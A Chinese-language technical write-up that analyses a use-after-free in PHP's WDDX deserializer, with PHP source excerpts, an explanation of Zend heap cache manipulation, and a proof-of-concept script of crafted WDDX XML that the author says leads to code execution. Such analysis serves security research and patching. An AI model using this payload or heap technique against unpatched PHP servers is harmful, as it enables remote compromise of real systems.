PHP 5.5.33 之前版本及 5.6.x 系列 5.6.19 之前版本的 WDDX 扩展中的 wddx.c 存在释放后使用漏洞,远程攻击者可通过触发 wddx_deserialize 调用包含精心构造的 var 元素的 XML 数据,导致拒绝服务(内存损坏及应用崩溃),或可能造成其他未指明的影响。
这是一个释放后使用漏洞,发生在 wddx 处理 XML 数据时。查看函数 php_wddx_deserialize_ex 中的代码。当 wddx_deserialize($xml) 处理某些 XML 数据时,PHP 会调用此函数,然后设置一些函数来处理 XML 标签和数据。
XML_SetUserData(parser, &stack);
XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
XML_SetCharacterDataHandler(parser, php_wddx_process_data);
函数 php_wddx_push_element 会为标签创建一个条目,如下所示。例如,输入 <string>Hello World</string> 时,当遇到开始标签 时会调用 php_wddx_push_element 创建一个 st_entry 条目来存储标签的信息。以下代码片段展示了这一点。
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
st_entry ent;
wddx_stack *stack = (wddx_stack *)user_data;
----SNIP----
else if (!strcmp(name, EL_STRING)) {
ent.type = ST_STRING;
SET_STACK_VARNAME;
ALLOC_ZVAL(ent.data);
INIT_PZVAL(ent.data);
Z_TYPE_P(ent.data) = IS_STRING;
Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
Z_STRLEN_P(ent.data) = 0;
wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
}
----SNIP----
}
SET_STACK_VARNAME 是一个宏定义,如下所示。该宏简单地检查栈中的 varname,如果非空则复制该 varname 并释放原内存。
#define SET_STACK_VARNAME \
if (stack->varname) { \
ent.varname = estrdup(stack->varname); \
efree(stack->varname); \
stack->varname = NULL; \
} else \
ent.varname = NULL; \
漏洞出现在 php_wddx_pop_element 中。当 XML 关闭 var 标签时,会释放该标签的 varname,但释放后的指针仍然保存在 stack->varname 中。例如,创建一个像 <var name='UAF'></var> 这样的 var 标签时,php_wddx_push_element 会创建一个存储该 var 标签的结构体,然后关闭标签时释放但忘记将 stack->varname = NULL 或减少 stack->top。之后创建其他标签(如 <string>)时,宏 SET_STACK_VARNAME 会重新使用这个已释放的指针。
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
# ***SNIP***
} else if (!strcmp(name, EL_VAR) && stack->varname) {
efree(stack->varname);
}
# ***SNIP***
}
最初看到这个漏洞时,我心想:“难道不能把这个漏洞变成代码执行吗?”首先,我需要理解 zend 堆的实现。查看 zend_alloc.c 中的函数 _zend_mm_alloc_int 如下:
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
size_t index = ZEND_MM_BUCKET_INDEX(true_size);
size_t bitmap;
if (UNEXPECTED(true_size < size)) {
goto out_of_memory;
}
#if ZEND_MM_CACHE
if (EXPECTED(heap->cache[index] != NULL)) {
/* Get block from cache */
#if ZEND_MM_CACHE_STAT
heap->cache_stat[index].count--;
heap->cache_stat[index].hit++;
#endif
best_fit = heap->cache[index];
heap->cache[index] = best_fit->prev_free_block;
heap->cached -= true_size;
ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
HANDLE_UNBLOCK_INTERRUPTIONS();
return ZEND_MM_DATA_OF(best_fit);
}
如果我们要分配小块(小于256字节),zend_alloc 会使用 heap->cache,这是一个空闲块链表,存储了许多小的空闲块,类似于 malloc 的 fast_bin。如果我们可以覆盖 best_fit->prev_free_block 指针,使其指向我们自己的地址,那么再次调用 zend_alloc 时,就能利用该地址向内存中的任意位置写入数据。
为此,我将构建以下 wddx XML:
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array>
<binary>HERE</binary> # (1)
<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
<binary>REPLACE</binary> # (3)
<var name='SUCK'></var> # (4)
<boolean value='a'/>
<boolean value='true'/>
</array>
</wddxPacket>
EOF;
$binary_value = base64_encode(str_repeat("A",32));
$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);
$wddx = wddx_deserialize($xml);
foreach($wddx as $k => $v){
$k = "".str_repeat("C",6); (5)
$t = (string)$v; (6)
$g = (string)$v; (7)
}

完整的利用代码见 peter_code_execute.php(已在 Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14 上测试)。
最终,我成功将该漏洞转化为代码执行。
